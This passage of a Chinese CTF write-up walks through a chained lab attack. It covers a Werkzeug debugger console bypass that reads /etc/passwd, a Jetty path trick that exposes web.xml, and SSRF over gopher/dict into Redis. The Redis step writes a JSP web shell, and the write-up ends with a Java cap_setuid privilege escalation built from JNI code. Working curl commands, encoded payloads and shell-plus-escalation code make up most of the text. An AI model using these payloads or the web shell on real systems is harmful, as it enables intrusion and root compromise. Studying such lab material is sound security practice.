1 curl --cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" -i "http://172.2.224.6:8888/set_log_option?__debugger__=yes%2526cmd=pinauth%2526pin=105-923-412%2526s=LiNs0Eo5XUIZLh2wyOqb"
得到cookie
1 Set-Cookie: __wzd824de432821c6698e2e0=1736670190|bd2fc4339fe7; HttpOnly; Path=/; SameSite=Strict
1 curl --cookie "__wzd824de432821c6698e2e0=1736670190|bd2fc4339fe7" "http://172.2.224.6:8888/console?__debugger__=yes%2526cmd=print(__import__('os').popen('cat%252509/etc/passwd').read())%2526frm=0%2526s=LiNs0Eo5XUIZLh2wyOqb"
ctfshow{ctfer:x:1000:1000::/home/ctfer:/bin/bash}
第五章
艰难的最后一步
本关要求
提交redis的密码
继续先横向移动
读取敏感信息
1 curl -v "http://172.2.224.7:8080/%u002e/WEB-INF/web.xml"
ctfshow{ctfshow_2025}
port为6380
功亏一篑
本关要求
提交 /dylan.txt 中的key
1 curl -v "dict://172.2.224.7:6380/auth:ctfshow_2025"
给的ok,尝试写马
1 2 3 4 5 6 auth ctfshow_2025set mars "<% Runtime.getRuntime().exec(new String[]{\"sh\",\"-c\",request.getParameter(\"cmd\")});%>" config set dir /opt/jetty/webapps/ROOT/ config set dbfilename 2.j sp save quit
1 gopher://172.2.224.7:6380/_auth%20ctfshow_2025%0Aset%20mars%20%22%3C%25%20Runtime.getRuntime().exec (request.getParameter(%5C%22cmd%5C%22))%3B%25%3E%22%0Aconfig%20set%20dir%20%2Fopt%2Fjetty%2Fwebapps%2FROOT%2F%0Aconfig%20set%20dbfilename%202.jsp%0Asave%0Aquit
不知道为什么一直打不进去,就参考官p,传了另外一个马用base64进行绕过得到了回显
1 ?orange=system(base64_decode('Y3VybCAgLXYgICJnb3BoZXI6Ly8xNzIuMi4yMjQuNzo2MzgwL19hdXRoJTIwY3Rmc2hvd18yMDI1JTBBc2V0JTIwbWFycyUyMCUyMiUzQyUyNSUyMFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMobmV3JTIwU3RyaW5nJTVCJTVEJTdCJTVDJTIyc2glNUMlMjIlMkMlNUMlMjItYyU1QyUyMiUyQ3JlcXVlc3QuZ2V0UGFyYW1ldGVyKCU1QyUyMmNtZCU1QyUyMiklN0QpJTNCJTI1JTNFJTIyJTBBY29uZmlnJTIwc2V0JTIwZGlyJTIwJTJGb3B0JTJGamV0dHklMkZ3ZWJhcHBzJTJGUk9PVCUyRiUwQWNvbmZpZyUyMHNldCUyMGRiZmlsZW5hbWUlMjAyLmpzcCUwQXNhdmUlMEFxdWl0Ig==' ))
1 2 3 4 5 6 2.jsp?cmd=cat %20/dylan.txt>/opt/jetty/webapps/ROOT/success.txt http://172.2.224.7:8080/success.txt The enemy cyber attacker 81192 has been injected with prions by our agents, and there is no chance of survival, victory is ours! The key is 7b11a7ae330883cb5bf667a9c1604635.
ctfshow{7b11a7ae330883cb5bf667a9c1604635}
今日方知我是我
本关要求
提交/root/message.txt中提到的网址
查询cap权限
1 2 3 2.jsp?cmd=getcap %20-r%20/%202>/dev/null>/opt/jetty/webapps/ROOT/success.txt /usr/local/openjdk-8/bin/java = cap_setuid+ep
java有setuid权限,写入 SetUID.c
1 2 3 4 5 6 #include <jni.h> #include <unistd.h> JNIEXPORT jint JNICALL Java_SetUID_setUID (JNIEnv *env, jobject obj, jint uid) { return setuid(uid); }
写入
1 2.jsp?cmd=echo %20"I2luY2x1ZGUgPGpuaS5oPgovLzExMTExMTExMTExMjIKI2luY2x1ZGUgPHVuaXN0ZC5oPgoKSk5JRVhQT1JUIGppbnQgSk5JQ0FMTCBKYXZhX1NldFVJRF9zZXRVSUQoSk5JRW52ICplbnYsIGpvYmplY3Qgb2JqLCBqaW50IHVpZCkgewogICAgcmV0dXJuIHNldHVpZCh1aWQpOwp9" %20|base64 %20-d%20>/opt/jetty/webapps/ROOT/SetUID.c
写入SetUID.java
1 2 3 4 5 6 7 8 9 10 11 12 13 public class SetUID { static { System.loadLibrary("SetUID" ); } public native int setUID (int uid) ; public static void main (String[] args) throws Exception { SetUID setUID = new SetUID (); int result = setUID.setUID(0 ); Runtime.getRuntime.exec(new String []{"sh" ,"-c" ,"cat /root/*.txt>/opt/jetty/webapps/ROOT/root.txt" }); } }
1 2.jsp?cmd=echo %20"cHVibGljIGNsYXNzIFNldFVJRCB7CiAgICBzdGF0aWMgewogICAgICAgIFN5c3RlbS5sb2FkTGlicmFyeSgiU2V0VUlEIik7IAogICAgfQoKICAgIHB1YmxpYyBuYXRpdmUgaW50IHNldFVJRChpbnQgdWlkKTsgCiAgLy9hCiAgICBwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB0aHJvd3MgRXhjZXB0aW9uIHsKICAgICAgICBTZXRVSUQgc2V0VUlEID0gbmV3IFNldFVJRCgpOwogICAgICAgIGludCByZXN1bHQgPSBzZXRVSUQuc2V0VUlEKDApOyAKICAgICAgICBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyBTdHJpbmdbXXsic2giLCItYyIsImNhdCAvcm9vdC8qLnR4dD4vb3B0L2pldHR5L3dlYmFwcHMvUk9PVC9yb290LnR4dCJ9KTsKICAgIH0KfQ==" %20|base64 %20-d%20>/opt/jetty/webapps/ROOT/SetUID.java
编译SetUID.c和java
1 2 3 2.jsp?cmd=gcc%20-shared%20-fPIC%20-o%20/opt/jetty/webapps/ROOT/libSetUID.so%20-I${JAVA_HOME} /include%20-I${JAVA_HOME} /include/linux%20/opt/jetty/webapps/ROOT/SetUID.c 2.jsp?cmd=javac%20/opt/jetty/webapps/ROOT/SetUID.java
root执行权限
1 2 .jsp?cmd=java%20 -Djava.library.path=/opt/ jetty/webapps/ ROOT/%20-cp%20/ opt/jetty/ webapps/ROOT/ %20 SetUID
最后/root.txt读取
1 2 3 4 5 6 7 8 9 10 致信后来者: 同志你好!我是81192,我不是第一批81192,也不会是最后一批81192,81192从来不是一个人。 现在,同志,你也是81192的一员了。 我已经清理和收集了他们的所有资料并传回总部,但是在我离开的时候,被dylan投毒,我已经感染了他们的朊病毒。 我把我的最后的话,都放到了一个网址里面,你在他们的任务中心中,用dylan身份登陆后,在管理菜单中 访问下面地址,就能看到了!再见了,同志! 网址是:http://8.11.9.2 现在我命令你: 我已无法返航,请继续前进!请继续前进!
ctfshow{http://8.11.9.2}
结尾
好艰难的比赛,前面自己还能写写后面都是抄wp复现了,晨曦师傅太强了,大菜鸡师傅出的也很好,先到这把 😦